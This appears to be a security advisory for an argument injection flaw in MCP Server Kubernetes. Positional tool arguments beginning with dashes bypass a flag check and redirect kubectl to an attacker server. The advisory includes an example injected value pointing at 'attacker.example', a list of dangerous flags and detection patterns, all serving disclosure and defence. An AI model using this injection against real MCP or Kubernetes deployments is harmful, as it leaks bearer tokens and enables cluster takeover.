CVE-2026-61459: MCP Server Kubernetes Auth Bypass Flaw

CVE-2026-61459 Overview

CVE-2026-61459 is an argument injection vulnerability in MCP Server Kubernetes before version 3.9.0. The flaw affects the structured tools kubectl_get, kubectl_describe, and kubectl_delete. Attackers bypass the assertNoDangerousFlags security check by supplying resourceType and name parameters that begin with leading dashes. This allows injection of the --server flag to redirect kubectl commands to an attacker-controlled API server. The operator's bearer token is transmitted externally, enabling full Kubernetes cluster compromise. The vulnerability is tracked under CWE-88: Argument Injection.

Critical Impact
Remote attackers can exfiltrate Kubernetes bearer tokens and achieve full cluster compromise by redirecting kubectl commands to a malicious API server.

Affected Products

MCP Server Kubernetes versions prior to 3.9.0 (Node.js package suyogs:mcp-server-kubernetes)
Structured tools: kubectl_get, kubectl_describe, kubectl_delete
Any MCP client integration exposing these tools to untrusted input

Discovery Timeline

2026-07-10 - CVE-2026-61459 published to NVD
2026-07-17 - Last updated in NVD database

Technical Details for CVE-2026-61459

Vulnerability Analysis

MCP Server Kubernetes exposes kubectl operations as structured tools within the Model Context Protocol (MCP) interface. The server implements an assertNoDangerousFlags guard intended to reject arguments that could redirect execution or substitute credentials. The guard inspects arguments for known dangerous flags such as --server, --token, --kubeconfig, and --as.

The check fails to account for positional arguments accepted by kubectl. When callers supply resourceType or name parameters that begin with a leading dash, those values are passed to kubectl and interpreted as flags rather than as positional identifiers. This turns user-controlled positional slots into a flag injection primitive.

Root Cause

The root cause is incomplete validation of structured tool inputs. The assertNoDangerousFlags function scanned only explicit flag parameters and did not normalize positional argv slots. Values such as --server=https://attacker.example supplied via resourceType were forwarded verbatim to the kubectl process invocation.

Attack Vector

An attacker with the ability to send tool invocations to the MCP server calls kubectl_get, kubectl_describe, or kubectl_delete with a crafted resourceType or name beginning with --. Injecting --server=<attacker_url> causes kubectl to send authenticated requests, including the operator's bearer token, to the attacker's API server. The attacker replays the token against the legitimate cluster to gain the operator's privileges.

typescript

// Security patch: src/security/kubectl-flags.ts
 import { McpError, ErrorCode } from "@modelcontextprotocol/sdk/types.js";
+import {
+  execFileSync,
+  type ExecFileSyncOptionsWithStringEncoding,
+} from "child_process";
 
 // Flags that would let a caller redirect kubectl to a different API server,
 // substitute credentials, or impersonate another identity. Allowing any of

Source: GitHub Commit d7890f5

typescript

// Security patch: src/tools/exec_in_pod.ts
 import { KubernetesManager } from "../types.js";
-import { execFileSync } from "child_process";
+import { execFileSyncSafe } from "../security/kubectl-flags.js";
 import { McpError, ErrorCode } from "@modelcontextprotocol/sdk/types.js";
 import { getSpawnMaxBuffer } from "../config/max-buffer.js";
 import { contextParameter, namespaceParameter } from "../models/common-parameters.js";

Source: GitHub Commit d7890f5. The patch introduces execFileSyncSafe, which blocks flag injection through positional argv slots across all kubectl and helm tools.

Detection Methods for CVE-2026-61459

Indicators of Compromise

Outbound network connections from MCP server hosts to unexpected API endpoints, particularly HTTPS traffic to non-cluster IP addresses
MCP tool invocations where resourceType or name parameters begin with - or --
kubectl process command lines containing --server, --token, or --kubeconfig flags that were not originated by administrators
Kubernetes API audit log entries showing authentication from unusual source IPs using operator service-account tokens

Detection Strategies

Inspect MCP server request logs for tool arguments that match the pattern ^-{1,2}[A-Za-z] in positional fields
Compare kubectl process argv against an allowlist of expected flags to identify redirected API server invocations
Correlate DNS queries and egress connections from the MCP server host with the configured cluster API endpoint
Monitor for the presence of MCP Server Kubernetes package versions below 3.9.0 in Node.js runtime inventories

Monitoring Recommendations

Enable Kubernetes API server audit logging with high verbosity for authenticated requests and forward events to a centralized data lake
Instrument the MCP server process to log resolved kubectl argv arrays before execution
Alert on any egress connection from the MCP server host to destinations outside the cluster VPC or approved networks
Track bearer token usage against source IP baselines to detect token replay from external addresses

How to Mitigate CVE-2026-61459

Immediate Actions Required

Upgrade MCP Server Kubernetes to version 3.9.0 or later immediately
Rotate all Kubernetes service-account tokens and kubeconfig credentials accessible to the MCP server process
Review Kubernetes API audit logs for unauthorized access preceding the patch deployment
Restrict egress from MCP server hosts to only the legitimate cluster API endpoint using network policies or firewall rules

Patch Information

The fix is available in MCP Server Kubernetes 3.9.0. The remediating commit is d7890f5, delivered through pull request #329 which addresses issue #328. The patch adds an execFileSyncSafe wrapper that rejects any argv slot beginning with a dash across all kubectl and helm tools. Refer to the VulnCheck Security Advisory for advisory details.

Workarounds

If upgrading is not immediately possible, disable the kubectl_get, kubectl_describe, and kubectl_delete structured tools in the MCP server configuration
Enforce input validation at the MCP client layer to reject resourceType and name values beginning with -
Run the MCP server with a scoped Kubernetes service account that has minimum required RBAC permissions instead of a cluster-admin token
Apply egress network policies that limit outbound HTTPS from the MCP server to the legitimate Kubernetes API server address only

bash

# Upgrade MCP Server Kubernetes to the patched release
npm install mcp-server-kubernetes@3.9.0

# Verify installed version
npm ls mcp-server-kubernetes

# Optional egress restriction using iptables (replace with cluster API IP)
iptables -A OUTPUT -p tcp -d <cluster-api-ip> --dport 6443 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j REJECT